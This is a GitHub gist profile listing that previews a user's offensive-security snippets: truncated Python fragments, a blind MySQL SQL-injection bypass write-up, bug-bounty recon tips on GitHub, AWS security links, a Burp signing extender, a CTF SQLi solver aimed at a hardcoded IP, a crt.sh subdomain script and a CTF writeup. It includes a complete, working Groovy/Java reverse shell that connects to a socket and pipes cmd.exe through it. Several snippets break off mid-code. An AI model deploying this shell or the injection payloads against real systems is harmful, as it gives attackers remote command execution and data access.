Skip to content

Instantly share code, notes, and snippets.

import socket
import time
from twisted.internet.protocol import Factory, Protocol
from twisted.internet import reactor
from twisted.names import dns
from twisted.names import client, server
from twisted.internet import defer
class MyResolver(client.Resolver):
def lookupAllRecords(self, name, timeout=None):
from Crypto.Cipher import AES
import sys
import os
#Initial Vector ...
IV_SIZE = 16
#Block size ..
BLOCK_SIZE = 16
@abdilahrf
abdilahrf / revsh.groovy
Created September 19, 2018 18:21 — forked from frohoff/revsh.groovy
Pure Groovy/Java Reverse Shell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
@abdilahrf
abdilahrf / README.md
Created September 24, 2018 05:09 — forked from stypr/README.md
Blind SQLi 2018

There are several ways to bypass blind SQLi filters, and today I will introduce MySQL blind sqli payload using an insert() function.

Interestingly, the payload itself is limited to MySQL, but the technical side of this attack should be still valid in most SQL.

This attack is useful when typical substring filters (i.e. left(), right(), mid(), substr(), regexp(), strcmp(), concat() ... LIKE ... ) are blocked by the script.

TL;DR

@abdilahrf
abdilahrf / github_bugbountyhunting.md
Created October 20, 2018 11:50 — forked from EdOverflow/github_bugbountyhunting.md
My tips for finding security issues in GitHub projects.

GitHub for Bug Bounty Hunters

GitHub repositories can disclose all sorts of potentially valuable information for bug bounty hunters. The targets do not always have to be open source for there to be issues. Organization members and their open source projects can sometimes accidentally expose information that could be used against the target company. in this article I will give you a brief overview that should help you get started targeting GitHub repositories for vulnerabilities and for general recon.

Mass Cloning

You can just do your research on github.com, but I would suggest cloning all the target's repositories so that you can run your tests locally. I would highly recommend @mazen160's GitHubCloner. Just run the script and you should be good to go.

$ python githubcloner.py --org organization -o /tmp/output
@abdilahrf
abdilahrf / AWS Security Resources
Created July 20, 2019 16:56 — forked from chanj/AWS Security Resources
AWS Security Resources
INTRO
I get asked regularly for good resources on AWS security. This gist collects some of these resources (docs, blogs, talks, open source tools, etc.). Feel free to suggest and contribute.
Short Link: http://tiny.cc/awssecurity
Official AWS Security Resources
* Security Blog - http://blogs.aws.amazon.com/security/
* Security Advisories - http://aws.amazon.com/security/security-bulletins/
* Security Whitepaper (AWS Security Processes/Practices) - http://media.amazonwebservices.com/pdf/AWS_Security_Whitepaper.pdf
* Security Best Practices Whitepaper - http://media.amazonwebservices.com/AWS_Security_Best_Practices.pdf
@abdilahrf
abdilahrf / dynamic_hmac_signature.py
Created October 3, 2019 10:23
Burpsuite extender for dynamically generate signature
from burp import IBurpExtender
from burp import IHttpListener
from burp import IProxyListener
from burp import IScannerListener
from burp import IExtensionStateListener
from java.io import PrintWriter
from burp import IParameter
import datetime
import hashlib
@abdilahrf
abdilahrf / legcountersolve.py
Last active October 3, 2019 10:25
Leg counter web challenges solver (Blind SQLi Template)
import requests
import re
from StringIO import StringIO
from pycurl import *
import os
import pickle
url = "http://103.56.207.107:50001/upload.php"
payload = {
@abdilahrf
abdilahrf / crt.sh
Created September 13, 2017 16:31 — forked from 1N3/crt.sh
A small bash script to gather all certificate sub-domains from crt.sh and save them to a file
#!/bin/bash
#
# crt.sh sub-domain check by 1N3@CrowdShield
# https://crowdshield.com
#
OKBLUE='\033[94m'
OKRED='\033[91m'
OKGREEN='\033[92m'
OKORANGE='\033[93m'
@abdilahrf
abdilahrf / a-z.md
Created April 27, 2020 13:27 — forked from stypr/a-z.md
Harekaze CTF 2019 WEB Writeup (Yokosuka Hackers)

A-z

Simple JS Jail challenge.

It is run on context, so we have nothing but to play with constructor and console.

1337 === eval(our_input)